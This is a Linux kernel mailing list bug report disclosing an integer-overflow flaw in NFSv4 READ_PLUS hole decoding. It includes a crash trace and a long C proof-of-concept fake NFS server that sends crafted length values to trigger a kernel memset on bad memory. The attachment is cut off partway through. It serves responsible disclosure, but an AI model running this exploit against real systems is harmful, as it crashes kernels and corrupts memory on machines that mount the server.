* nfs v4 decode_read_plus_hole() insufficient length sanity check
@ 2022-01-04 20:08 rtm
0 siblings, 0 replies; only message in thread
From: rtm @ 2022-01-04 20:08 UTC (permalink / raw)
To: Trond Myklebust, Anna Schumaker; +Cc: linux-nfs
[-- Attachment #1: Type: text/plain, Size: 1445 bytes --]
decode_read_plus_hole() reads a 64-bit length from the server's RPC
reply. There's a sanity-check:
if (length + res->count > args->count) {
but it doesn't work if length is big enough that the sum wraps, e.g.
0xffffffffffffffff. In that case, eventually the loop in
xdr_buf_pages_zero() calls memset() on the wrong memory.
I've attached a demo:
# uname -a
Linux (none) 5.16.0-rc7-00108-g800829388818-dirty #23 SMP Tue Jan 4 19:38:52 UTC 2022 riscv64 riscv64 riscv64 GNU/Linux
# cc nfs_20.c
# ./a.out
...
[ 74.362358] Unable to handle kernel paging request at virtual address 92492d8ddff40000
[ 74.612471] status: 0000000200000121 badaddr: 92492d8ddff40000 cause: 000000000000000f
[ 74.626913] [<ffffffff80346650>] __memset+0x60/0xfc
[ 74.637735] [<ffffffff802333ac>] nfs4_xdr_dec_read_plus+0x2d6/0x3fa
[ 74.650614] [<ffffffff80617406>] rpcauth_unwrap_resp_decode+0x12/0x1a
[ 74.663084] [<ffffffff80618124>] rpcauth_unwrap_resp+0x12/0x1a
[ 74.675822] [<ffffffff8060e23a>] call_decode+0x112/0x176
[ 74.686253] [<ffffffff8061686c>] __rpc_execute+0x7e/0x21a
[ 74.696694] [<ffffffff80616a2c>] rpc_async_schedule+0x24/0x46
[ 74.709450] [<ffffffff800209d4>] process_one_work+0x13e/0x28a
[ 74.722182] [<ffffffff80020b9c>] worker_thread+0x7c/0x320
[ 74.732607] [<ffffffff80027010>] kthread+0x124/0x136
[ 74.743073] [<ffffffff8000303e>] ret_from_exception+0x0/0xc
[ 74.764059] ---[ end trace ca32aa753f3ddad2 ]---
[-- Attachment #2: nfs_20.c --]
[-- Type: application/octet-stream, Size: 31885 bytes --]
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/socket.h>
#include <sys/file.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/vfs.h>
#include <dirent.h>
#include <assert.h>
#include <fcntl.h>
#include <errno.h>
int sym_op = 68;
int sym_skip = 0;
int sym_type = 0; // all fattr4 file types
int sym_fh = 0; // all file handles
int sym_bitmaps = 0;
int sym_opaque_len = 0;
int opcounts[256];
long long next_cookie = 3;
int current_fh = 0;
int compound_status;
int send_back;
// map file/dir names to file handle
char *fhnames[100] = {
"",
"tmp",
"x",
"y",
"z",
"zzz",
0
};
int
name2fh(char *name, int create)
{
for(int i = 0; fhnames[i]; i++){
if(strcmp(name, fhnames[i]) == 0)
return i;
}
if(create){
for(int i = 0; ; i++){
if(fhnames[i] == 0){
fhnames[i] = malloc(100);
strcpy(fhnames[i], name);
return i;
}
}
}
return -1;
}
#define NAA 128
unsigned long long aa[NAA] = {
0xffffffffull,
0xfefffffff88c9adaull,
0xffffffffffffffffull,
0xfcffffffffffffffull,
0xfffffffffeffffffull,
0xfcffffffull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
};
int aai = 0;
char ibuf[16*1024];
int ilen = 0;
int ii = 0;
char obuf[16*1024];
int oi = 0;
int symstart = -1;
int readn(int fd, void *xbuf, int n) {
char *buf = (char *) xbuf;
int orig = n;
while(n > 0){
int cc = read(fd, buf, n);
if(cc <= 0) { perror("read"); return -1; }
n -= cc;
buf += cc;
}
return orig;
}
unsigned int
parse32()
{
if(ii >= ilen){
printf("parsed beyond the end of the input\n");
return 0xffffffff;
}
unsigned int x = *(int*)(ibuf+ii);
ii += 4;
return ntohl(x);
}
unsigned long long
parse64()
{
unsigned long long hi = parse32();
unsigned long long lo = parse32();
return (hi << 32) | lo;
}
// sessionid4 -- 16 bytes
void
parse_sid(char *sid)
{
for(int i = 0; i < 16; i++){
if(sid)
sid[i] = ibuf[ii];
ii++;
}
}
unsigned int
parse_opaque(char *buf)
{
if(buf)
buf[0] = 0;
int nominal_n = parse32();
if(nominal_n > 4096){
printf("crazy opaque length %d\n", nominal_n);
return 0;
}
int real_n = nominal_n;
while((real_n%4) != 0) real_n += 1;
for(int i = 0; i < real_n; i++){
if(buf && i < real_n)
buf[i] = ibuf[ii];
ii++;
}
return nominal_n;
}
void
put32(unsigned int x)
{
assert((oi % 4) == 0);
*(int*)(obuf+oi) = htonl(x);
oi += 4;
}
void
put64(unsigned long long x)
{
put32(x >> 32);
put32(x);
}
void
put_opaque(int n, char *buf)
{
int nn = n;
if(sym_opaque_len && aai < NAA)
nn ^= aa[aai++];
put32(nn);
for(int i = 0; i < n; i++)
obuf[oi++] = (buf ? buf[i] : 0);
while(n & 3){
obuf[oi++] = 0;
n++;
}
}
void
put_sid(char *sid)
{
for(int i = 0; i < 16; i++){
obuf[oi++] = (sid ? sid[i] : 0);
}
}
void
parse_nop()
{
}
void
parse_op_exchange_id()
{
parse32(); // verifier4, first half
parse32(); // verifier4, second half
parse_opaque(0); // eia_clientowner
int cflags = parse32(); // eia_flags
parse32(); // state_protect4_a.spa_how, assume SP4_NONE
int nimpl = parse32(); // length of client_impl_id
for(int impli = 0; impli < nimpl; impli++){
char junk[512];
parse_opaque(junk); // nii_domain
// printf("nii_domain: %s\n", junk);
parse_opaque(junk); // nii_name
// printf("nii_name: %s\n", junk);
parse64(); // 1/2 of nfstime4
parse32(); // 1/2 of nfstime4
}
// finish EXCHANGE_ID4res
put32(0); // eir_status = NFS4_OK
put64(1); // clientid4
put32(1); // sequenceid4
int sflags = 0x103 | 0x10000; // EXCHGID4_FLAG_USE_NON_PNFS
put32(sflags); // eir_flags
put32(0); // state_protect4_r.spr_how = SP4_NONE
put64(1); // server_owner4.so_minor_id
put32(4); // length of so_major_id<>
put32(0x11223344); // so_major_id<>
put32(4); // length of eir_server_scope
put32(0x11223344);
put32(1); // length of eir_server_impl_id<1>
put32(4); // nfs_impl_id4.nii_domain
put32(0x11223344);
put32(4); // nfs_impl_id4.nii_name
put32(0x11223344);
put64(0); // nii_date 1/2
put32(0); // nii_date 2/2
}
void
parse_op_create_session()
{
parse64(); // csa_clientid
int seq = parse32(); // csa_sequence
parse32(); // csa_flags
// csa_fore_chan_attrs, csa_back_chan_attrs
int attrs[2][6];
for(int i = 0; i < 2; i++){
for(int j = 0; j < 6; j++){
attrs[i][j] = parse32();
}
parse_opaque(0); // ca_rdma_ird<1>
}
// XXX
ii = ilen;
put32(0); // OK
for(int i = 0; i < 4; i++)
put32(1); // csr_sessionid i/4
put32(seq); // csr_sequence
put32(0x3); // csr_flags
for(int i = 0; i < 2; i++){
for(int j = 0; j < 6; j++)
put32(attrs[i][j]);
put32(0); // ca_rdma_ird
}
}
void
parse_op_sequence()
{
char sid[16];
parse_sid(sid); // sa_sessionid
int seq = parse32(); // sa_sequenceid
int slot = parse32(); // sa_slotid
int hislot = parse32(); // sa_highest_slotid
parse32(); // sa_cachethis
put32(0); // OK
put_sid(sid); // sr_sessionid
put32(seq); // sr_sequenceid
put32(slot); // sr_slotid
put32(hislot); // sr_highest_slotid
put32(hislot); // sr_target_highest_slotid
put32(0); // sr_status_flags
}
void
parse_op_reclaim_complete()
{
parse32(); // rca_one_fs
put32(0); // rcr_status
}
void
parse_op_putrootfh()
{
// no arguments
put32(0); // OK
current_fh = 0;
}
void
parse_op_secinfo_no_name()
{
parse32(); // secinfo_style4
put32(0); // OK
put32(1); // # of secinfo4
#if 1
put32(0); // flavor = AUTH_NULL
#else
put32(6); // flavor = RPCSEC_GSS
put32(4); // size of sec_oid4
put32(0xffffffff);
put32(0); // qop4
put32(1); // rpc_gss_svc_t
#endif
}
void
parse_op_destroy_session()
{
parse_sid(0);
put32(0); // OK
}
void
parse_op_destroy_clientid()
{
parse64(); // clientid
put32(0); // OK
}
void
parse_op_getfh()
{
// no arguments
put32(0); // OK
int xfh = current_fh;
if(sym_fh) xfh ^= aa[aai++];
put_opaque(4, (char*)&xfh); // fh
}
//
// called by getattr and readdir.
// generates a fattr4 (bitmap4 then attrlist4).
//
void
put_fattr4(int xwords[], int fh)
{
int words[3];
for(int i = 0; i < 3; i++){
words[i] = xwords[i];
if(sym_bitmaps){
words[i] ^= aa[aai++];
}
}
int bitwords = 3;
put32(bitwords);
int word0i = oi;
for(int i = 0; i < bitwords; i++)
put32(words[i]);
int leni = oi;
put32(0); // placeholder for total length of attrs
for(int a = 0; a < bitwords*32; a++){
if(words[a/32] & (1 << (a % 32))){
if(a == 0){
put32(3); // # bitmap words of supported attrs
put32(0xffffffff);
put32(0xffffffff);
put32(0xffffffff);
} else if(a == 1){
int type = 1;
if(fh == 0 || fh == 1)
type = 2;
if(sym_type) type ^= aa[aai++];
put32(type); // NF4DIR=2 or NF4REG=1
} else if(a == 2){
put32(0); // fh_expire_type
} else if(a == 3){
put64(0); // change
} else if(a == 4){
put64(4096*10); // size
} else if(a == 5){
put32(1); // link support
} else if(a == 6){
put32(1); // symlink support
} else if(a == 8){
put64(1); // fsid major
put64(1); // fsid minor
} else if(a == 10){
put32(10); // lease time
} else if(a == 11){
put32(0); // rdattr_error
} else if(a == 12){
// ACL
int n = 2;
put32(n);
for(int i = 0; i < n; i++){
put32(0); // type
put32(0); // flag
put32(0); // mask
char who[9];
memset(who, 0, sizeof(who));
strcpy(who, "nobody");
put_opaque(strlen(who), who);
}
} else if(a == 13){
put32(0xf); // aclsupport
} else if(a == 15){
put32(1); // cansettime
} else if(a == 16){
put32(0); // case insensitive
} else if(a == 17){
put32(1); // case preserving
} else if(a == 18){
put32(0); // chown_restricted
} else if(a == 19){
// filehandle
int xfh = fh;
if(sym_fh) xfh ^= aa[aai++];
put_opaque(4, (char*)&xfh); // fh
} else if(a == 20){
put64(fh); // fileid
} else if(a == 21){
put64(9999); // files_avail
} else if(a == 22){
put64(9999); // files_free
} else if(a == 23){
put64(99999); // files_total
} else if(a == 24){
// fs_locations
put32(1);
put_opaque(10, "abcde12345"); // pathname4
put32(1); // locations<>
put_opaque(10, "abcde12345"); // server
put32(1);
put_opaque(10, "abcde12345"); // rootpath
} else if(a == 26){
put32(1); // homogeneous
} else if(a == 27){
put64(0xffffffffffff); // max file size
} else if(a == 28){
put32(0xffff); // max link
} else if(a == 29){
put32(256); // max name
} else if(a == 30){
put64(10*4096); // max read
} else if(a == 31){
put64(10*4096); // max write
} else if(a == 33){
put32(0777); // mode
} else if(a == 34){
put32(1); // no_trunc
} else if(a == 35){
put32(3); // numlinks
} else if(a == 36){
// put_opaque(6, "other"); // owner
put_opaque(6, "nobody"); // owner
// put_opaque(5, "65534"); // owner
} else if(a == 37){
// put_opaque(6, "other"); // owner_group
put_opaque(6, "nobody"); // owner_group
// put_opaque(5, "65534"); // owner_group
} else if(a == 41){
put32(0); // rawdev major
put32(0); // rawdev minor
} else if(a == 42){
put64(10*1024*1024); // space_avail
} else if(a == 43){
put64(10*1024*1024); // space_free
} else if(a == 44){
put64(20*1024*1024); // space_total
} else if(a == 45){
put64(4096*10); // space used
} else if(a == 47){
put64(0); // time access seconds
put32(0); // nseconds
} else if(a == 50){
put64(0); // time create seconds
put32(0); // nseconds
} else if(a == 51){
put64(0); // time delta seconds
put32(0); // nseconds
} else if(a == 52){
put64(0); // time metadata seconds
put32(0); // nseconds
} else if(a == 53){
put64(0); // time modify seconds
put32(0); // nseconds
} else if(a == 55){
put64(0); // mounted_on_fileid ???
} else if(a == 62){
// fs_layout_types
put32(1);
put32(1); // LAYOUT4_NFSV4_1_FILES
} else if(a == 65){
// LAYOUT_BLKSIZE
put32(1024);
} else if(a == 77){
// CLONE_BLKSIZE
put32(1024);
} else if(a == 79){
// CHANGE_ATTR_TYPE
put32(4); // ???
} else if(a == 82){
// CHANGE_ATTR_TYPE
put32(4); // ???
} else if(a == 75){
// FATTR4_SUPPATTR_EXCLCREAT
put32(2); // bitmap length
put32(0xffffffff);
put32(0xffffffff);
} else {
if(sym_bitmaps){
words[a/32] &= ~(1 << (a % 32));
*(int*)(obuf + word0i + 4*(a/32)) = htonl(words[a/32]);
} else {
printf("unknown requested attr %d\n", a);
put64(0); // XXX
}
}
}
}
#if 0
for(int i = 0; i < 16; i++)
put32(0xffffffff);
#endif
*(int*)(obuf+leni) = htonl(oi - leni - 4);
}
void
parse_op_getattr()
{
int bitwords = parse32();
int words[4];
memset(words, 0, sizeof(words));
if(bitwords < 1 || bitwords > 3)
printf("parse_op_getattr: crazy bitwords %d\n", bitwords);
for(int i = 0; i < bitwords && i < 4; i++)
words[i] = parse32();
put32(0); // OK
put_fattr4(words, current_fh);
}
void
parse_op_putfh()
{
char buf[64];
int n = parse_opaque(buf); // fh
if(n != 4){
printf("op_putfh fh size %d, not 4\n", n);
exit(1);
}
int fh = *(int*)buf;
current_fh = fh;
put32(0); // OK
}
void
parse_op_access()
{
int mask = parse32(); // mask of rights to query
put32(0); // OK
put32(mask); // supported = all rights
put32(mask); // access = all rights
}
void
parse_op_lookup()
{
char name[256];
int n = parse_opaque(name);
name[n>=0?n:0] = '\0';
int xfh = name2fh(name, 0);
if(xfh < 0){
printf("lookup %s -> ENOENT\n", name);
put32(2); // NFS4ERR_NOENT
if(compound_status == 0)
compound_status = 2;
} else {
put32(0); // OK
current_fh = xfh;
printf("lookup %s -> fh %d\n", name, current_fh);
}
}
void
parse_op_lookupp()
{
current_fh = 1; // /tmp
put32(0); // OK
}
void
parse_op_readdir()
{
long long cookie = parse64();
long long verf = parse64(); // cookie verifier
parse32(); // dircount
parse32(); // maxcount
// attr_request
int bitwords = parse32();
int words[4];
memset(words, 0, sizeof(words));
for(int i = 0; i < bitwords && i < 4; i++)
words[i] = parse32();
put32(0); // OK
put64(verf); // cookieverf
char *names[] = { "z", "zzz" };
for(int i = 0; i < 2; i++){
put32(1); // *nextentry
put64(next_cookie++); // cookie
put_opaque(3, names[i]); // name
put_fattr4(words, name2fh(names[i], 1));
}
put32(0); // *nextentry
put32(1); // eof
}
void
parse_op_open()
{
char name[256];
name[0] = 0;
parse32(); // seqid
parse32(); // share_access
parse32(); // share_deny
parse64(); // owner client id
parse_opaque(0); // owner owner
// openflag4
int opentype = parse32();
if(opentype == 1){
// OPEN4_CREATE
int mode = parse32(); // createhow4
if(mode == 0){
// UNCHECKED4
// fattr4 createattrs
int bitwords = parse32();
int words[32];
for(int i = 0; i < bitwords; i++)
words[i] = parse32();
parse_opaque(0); // attrlist4
} else {
printf("OPEN4_CREATE unknown mode %d\n", mode);
exit(1);
}
} else if(opentype == 0){
// OPEN4_NOCREATE
} else {
printf("unknown opentype %d\n", opentype);
exit(1);
}
int open_claim_type = parse32();
if(open_claim_type == 0){
// CLAIM_NULL
parse_opaque(name); // file name
} else if(open_claim_type == 2){
// CLAIM_DELEGATE_CUR
// open_claim_delegate_cur4
// stateid4
parse32(); // seqid
parse32();
parse32();
parse32();
parse_opaque(name); // file name
} else if(open_claim_type == 4){
// CLAIM_FH
} else {
printf("oy, open_claim_type %d\n", open_claim_type);
exit(1);
}
int xfh = name2fh(name, opentype);
if(xfh < 0){
printf("open(%s) ENOENT\n", name);
put32(2); // NFS4ERR_NOENT
} else {
put32(0); // OK
// stateid4
put32(1); // seqid
put32(1); // other
put32(1);
put32(1);
// change_info4
put32(1);
put64(0); // before
put64(0); // after
put32(0); // rflags
put32(0); // attrset bitmap length
// open_delegation4
put32(0); // OPEN_DELEGATE_NONE
printf(" name=%s\n", name);
if(name[0]){
current_fh = xfh;
} else {
printf("op_open: no name with which to set fh\n");
}
}
}
void
parse_op_setattr()
{
// stateid4
parse32(); // seqid
parse32(); // other
parse32(); // other
parse32(); // other
// fattr4
int bitwords = parse32();
int words[64];
for(int i = 0; i < bitwords; i++)
words[i] = parse32();
parse_opaque(0); // attrlist4
put32(0); // OK
put32(bitwords);
for(int i = 0; i < bitwords; i++)
put32(words[i]);
}
void
parse_op_layoutget()
{
parse32(); // loga_signal_layout_avail
parse32(); // layouttype4
parse32(); // layoutiomode4
parse64(); // offset
parse64(); // length
parse64(); // minlength
parse32(); // stateid4 seqid
parse32(); // stateid4 other
parse32(); // stateid4 other
parse32(); // stateid4 other
parse32(); // count32
put32(0); // OK
put32(0); // return_on_close
put32(0); // stateid4 seqid
put32(0); // stateid4 other
put32(0); // stateid4 other
put32(0); // stateid4 other
put32(1); // # of layout4
put64(0); // offset
put64(1000000); // length
put32(3); // layoutiomode4
put32(1); // layouttype4
put_opaque(8, "xxxxxxxx"); // loc_body
}
void
parse_op_write()
{
parse32(); // stateid4
parse32(); // stateid4
parse32(); // stateid4
parse32(); // stateid4
parse64(); // offset
parse32(); // stable_how4
int n = parse_opaque(0); // data
put32(0); // OK
put32(n); // count
put32(0); // UNSTABLE4
put64(1); // verifier
}
void
parse_op_read()
{
parse32(); // stateid4
parse32(); // stateid4
parse32(); // stateid4
parse32(); // stateid4
parse64(); // offset
parse32(); // count
put32(0); // OK
put32(1); // eof
put_opaque(4, "abcd");
}
void
parse_op_commit()
{
parse64(); // offset
parse32(); // count
put32(0); // OK
put64(1); // verifier4
}
void
parse_op_close()
{
parse32(); // seqid
parse32(); // stateid4.seqid
parse32(); // stateid4.other
parse32(); // stateid4.other
parse32(); // stateid4.other
put32(0); // OK
put32(2); // seqid
put32(1); // other
put32(1);
put32(1);
}
void
parse_op_create()
{
int type = parse32(); // type
char name[128];
memset(name, 0, sizeof(name));
int namelen = parse_opaque(name);
// fattr4
int bitwords = parse32();
int words[64];
for(int i = 0; i < bitwords; i++)
words[i] = parse32();
parse_opaque(0); // attrlist4
printf("create type=%d name=%s\n", type, name);
current_fh = name2fh(name, 1);
put32(0); // OK
put32(1); // change_info4.atomic
put64(1); // before
put64(2); // after
put32(bitwords);
for(int i = 0; i < bitwords; i++)
put32(words[i]);
}
void
parse_op_remove()
{
char name[256];
memset(name, 0, sizeof(name));
int namelen = parse_opaque(name);
put32(0); // OK
put32(1); // change_info4.atomic
put64(1); // before
put64(2); // after
}
int saved_fh;
void
parse_op_savefh()
{
saved_fh = current_fh;
put32(0); // OK
}
void
parse_op_restorefh()
{
current_fh = saved_fh;
put32(0); // OK
}
void
parse_op_rename()
{
char name1[256], name2[256];
memset(name1, 0, sizeof(name1));
memset(name2, 0, sizeof(name2));
parse_opaque(name1);
parse_opaque(name2);
printf("rename %s %s\n", name1, name2);
put32(0); // OK
// change_info4
put32(1);
put64(1); // before
put64(2); // after
// change_info4
put32(1);
put64(3); // before
put64(4); // after
}
void
parse_op_seek()
{
// stateid4
parse32(); // seqid
parse32();
parse32();
parse32();
long offset = parse64(); // offset
int what = parse32();
printf("seek offset=%ld what=%d\n", offset, what);
put32(0); // OK
if(what == 0){
// next data?
if(offset >= 32){
put32(1);
put64(offset);
} else {
put32(0);
put64(offset + 1);
}
} else {
// next hole?
if(offset >= 32){
put32(1);
put64(offset);
} else {
put32(0);
put64(32);
}
}
}
void
parse_op_copy()
{
// stateid4
parse32(); // seqid
parse32();
parse32();
parse32();
// stateid4
parse32(); // seqid
parse32();
parse32();
parse32();
parse64(); // offset
parse64(); // offset
long long count = parse64(); // count
parse32(); // consecutive
parse32(); // synchronous
int nloc = parse32();
for(int i = 0; i < nloc; i++){
int type = parse32();
if(type == 1 || type == 2){
parse_opaque(0); // name of url
} else {
parse_opaque(0); // network id
parse_opaque(0); // universal address
}
}
put32(0); // OK
// stateid4 callback_id<1>
if(1){
put32(0); // n
} else {
put32(1); // n
put32(1); // seqid
put32(1); // other
put32(1);
put32(1);
}
put64(count); // count
put32(0); // stable_how UNSTABLE
put64(0); // verifier
put32(1); // consecutive
put32(1); // synchronous
}
void
parse_op_lock()
{
parse32(); // lock type
parse32(); // reclaim
parse64(); // offset
parse64(); // length
int owner = parse32(); // lock4 new_lock_owner
if(owner){
parse32(); // open_seqid
// stateid4
parse32(); // seqid
parse32();
parse32();
parse32();
parse32(); // lock_seqid
parse64(); // clientid
parse_opaque(0); // owner
} else {
// stateid4
parse32(); // seqid
parse32();
parse32();
parse32();
parse32(); // seqid
}
put32(0); // OK
// stateid4
put32(1); // seqid
put32(1); // other
put32(1);
put32(1);
send_back = 1;
}
void
parse_op_locku()
{
parse32(); // lock type
parse32(); // seqid
// stateid4
parse32(); // seqid
parse32();
parse32();
parse32();
parse64(); // offset
parse64(); // length
put32(0); // OK
// stateid4
put32(1); // seqid
put32(1); // other
put32(1);
put32(1);
}
void
parse_op_free_stateid()
{
// stateid4
parse32(); // seqid
parse32();
parse32();
parse32();
put32(0); // OK
}
void
parse_compound()
{
char tag[512];
int taglen = parse_opaque(tag); // tag
parse32(); // client minor version
int nops = parse32();
// start a COMPOUND4res
int status_oi = oi;
compound_status = 0;
put32(compound_status); // place-holder
put_opaque(taglen, tag);
put32(nops); // length of resarray<>
int opindex = 0;
for(opindex = 0; opindex < nops && ii < ilen; opindex++){
int op = parse32();
printf("op %d #%d\n", op, opcounts[op&0xff]);
put32(op); // resop in nfs_resop4
if(sym_op == op){
if(sym_skip <= 0){
symstart = oi;
}
sym_skip -= 1;
}
if(op == 42){
parse_op_exchange_id();
} else if(op == 43){
parse_op_create_session();
} else if(op == 53){
parse_op_sequence();
} else if(op == 58){
parse_op_reclaim_complete();
} else if(op == 24){
parse_op_putrootfh();
} else if(op == 52){
parse_op_secinfo_no_name();
} else if(op == 44){
parse_op_destroy_session();
} else if(op == 57){
parse_op_destroy_clientid();
} else if(op == 10){
parse_op_getfh();
} else if(op == 9){
parse_op_getattr();
} else if(op == 22){
parse_op_putfh();
} else if(op == 3){
parse_op_access();
} else if(op == 15){
parse_op_lookup();
} else if(op == 16){
parse_op_lookupp();
} else if(op == 26){
parse_op_readdir();
} else if(op == 18){
parse_op_open();
} else if(op == 45){
parse_op_free_stateid();
} else if(op == 12){
parse_op_lock();
} else if(op == 14){
parse_op_locku();
} else if(op == 6){
parse_op_create();
} else if(op == 28){
parse_op_remove();
} else if(op == 4){
parse_op_close();
} else if(op == 34){
parse_op_setattr();
} else if(op == 50){
parse_op_layoutget();
} else if(op == 38){
parse_op_write();
} else if(op == 25){
parse_op_read();
} else if(op == 5){
parse_op_commit();
} else if(op == 32){
parse_op_savefh();
} else if(op == 31){
parse_op_restorefh();
} else if(op == 29){
parse_op_rename();
} else if(op == 69){
parse_op_seek();
} else if(op == 60){
parse_op_copy();
} else {
printf("unknown op %d\n", op);
// cannot continue to the next op since
// we don't know how long this one is.
break;
}
opcounts[op&0xff] += 1;
}
*(int*)(obuf+status_oi) = htonl(compound_status);
if(opindex != nops)
printf("compound with %d nops but only enough bytes for %d\n", nops, opindex);
if(ii != ilen)
printf("compound consumed only %d of %d bytes\n", ii, ilen);
}
void
parse_rpc()
{
// SUN RPC
int xid = parse32();
int mtype = parse32(); // mtype, 0=CALL, 1=REPLY
if(mtype == 1){
// rpc reply
int stat0 = parse32(); // MSG_ACCEPTED
int flavor = parse32();
parse_opaque(0); // verf
int stat1 = parse32(); // status
int stat2 = parse32(); // status
parse_opaque(0);
int nops = parse32();
int op = parse32();
printf("got a backchannel reply, stat %d %d, nops %d op1 %d\n", stat1, stat2, nops, op);
// printf("got a backchannel reply\n");
return;
}
parse32(); // rpc version
parse32(); // prog#
parse32(); // prog vers
int proc = parse32();
parse32(); // cred type
parse_opaque(0); // cred
parse32(); // verf type
parse_opaque(0); // verf
put32(xid);
put32(1); // REPLY
put32(0); // MSG_ACCEPTED
put32(0); // opaque_auth flavor = AUTH_NULL
put32(0); // opaque_auth length
put32(0); // SUCCESS
if(proc == 0){
parse_nop();
} else if(proc == 1){
parse_compound();
} else {
printf("unknown rpc proc %d\n", proc);
}
}
void
put_rpc_header(int prog, int proc)
{
int xid = 1;
put32(xid++);
put32(0); // mtype=CALL
put32(2); // rpc version
put32(prog); // prog # -- nfs v4 callback
put32(1); // prog vers
put32(proc); // proc
if(proc == 0){
put32(0); // cred type
put32(0); // cred len
} else {
put32(1); // cred type AUTH_SYS / AUTH_UNIX
put32(32); // cred length
put32(0); // stamp
put_opaque(9, "localhost");
put32(65534); // uid
put32(65534); // gid
put32(0); // # gids
}
put32(0); // verf type
put32(0); // verf len
}
void
sys(const char *cmd)
{
volatile int x = system(cmd);
(void) x;
}
int
main(){
setlinebuf(stdout);
struct rlimit r;
r.rlim_cur = r.rlim_max = 0;
setrlimit(RLIMIT_CORE, &r);
int s = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in sin;
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(2049);
int yes = 1;
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
if(bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0){
perror("bind"); exit(1);
}
listen(s, 10);
sync();
int pid1 = fork();
if(pid1 == 0){
close(s);
sleep(1);
if(system("echo -n mount: ; mount -o nolock,nodev 127.0.0.1:/tmp /mnt") == 0){
if(0){
printf("statfs: "); fflush(stdout);
struct statfs sb;
int ret = statfs("/mnt/.", &sb);
printf("statfs -> %d\n", ret);
}
if(0){
int fd = open("/mnt", 0);
if(fd < 0) { perror("/mnt"); exit(1); }
off_t base = 0;
char buf[4096];
ssize_t ret = getdirentries(fd, buf, sizeof(buf), &base);
printf("getdirentries ret %ld errno %d\n", ret, errno);
if(ret < 0) perror("getdirentries");
close(fd);
}
if(0){
int fd = open("/mnt/x", 0);
printf("open /mnt/x -> %d errno %d\n", fd, errno);
if(fd < 0) perror("/mnt/x");
close(fd);
}
if(1){
int fd = open("/mnt/new", O_RDWR|O_CREAT, 0666);
printf("creat /mnt/new -> %d errno %d\n", fd, errno);
if(fd < 0) perror("/mnt/new");
if(write(fd, "x", 1) < 0) perror("write");
lseek(fd, 0L, 0);
char buf[512];
volatile int junk = read(fd, buf, sizeof(buf));
(void) junk;
//mkdir("/mnt/new/newnew", 0777);
//if(unlink("/mnt/new") < 0) perror("unlink");
//close(fd);
if(flock(fd, LOCK_EX) < 0) perror("flock");
sleep(1);
}
if(0){
int ret = mkdir("/mnt/d", 0777);
printf("mkdir /mnt/d -> %d errno %d\n", ret, errno);
if(ret < 0) perror("mkdir /mnt/d");
if(chdir("/mnt/d") == 0){
printf("chdir succeeded\n");
if(creat("newnewnew", 0666) < 0) perror("create newnewnew");
unlink("newnewnew");
} else {
perror("chdir /mnt/d");
}
creat("/mnt/d/newnew", 0666);
rmdir("/mnt/d");
}
if(0){
sys("setfacl -m owner@:rwxp::allow /mnt/x");
sys("getfacl /mnt/x");
}
if(0){
int fd = open("/mnt/new", O_RDWR|O_CREAT, 0666);
if(fd < 0) perror("open /mnt/new");
char buf[32];
memset(buf, 1, sizeof(buf));
if(write(fd, buf, sizeof(buf)) < 0) perror("write");
lseek(fd, (off_t)0, 0);
int fd2 = creat("/mnt/newnew", 0666);
if(fd2 < 0) perror("creat /mnt/newnew");
off_t o1 = 0;
off_t o2 = 0;
if(copy_file_range(fd, &o1, fd2, &o2, 16, 0) < 0) perror("copy_file_range");
}
if(0){
sys("echo -n ls: ; ls -l /mnt");
sys("echo -n ls: ; ls -l /mnt/. /mnt/z");
sys("echo -n echo: ; echo hi > /mnt/x");
sys("echo -n dd: ; dd if=/mnt/y of=/dev/null bs=512 count=1");
sys("echo -n umount: ; umount /mnt");
}
}
exit(0);
}
int pid2 = fork();
if(pid2 == 0){
while(1){
socklen_t sinlen = sizeof(sin);
printf("calling accept\n");
int s1 = accept(s, (struct sockaddr *) &sin, &sinlen);
printf("accept returned %d\n", s1);
if(s1 < 0) { perror("accept"); exit(1); }
while(1){
if(readn(s1, &ilen, 4) < 0) break;
ilen = ntohl(ilen);
ilen &= 0x7fffffff;
if(readn(s1, ibuf, ilen) < 0) break;
oi = ii = 0;
put32(0); // place-holder for length
parse_rpc();
#if 1
if(symstart != -1){
for(int i = 0; i < 16; i++)
put32(0xffffffff);
}
#endif
*(int*)(obuf+0) = htonl((oi - 4) | 0x80000000);
if(aai > NAA){
printf("oops aai %d NAA %d\n", aai, NAA);
exit(1);
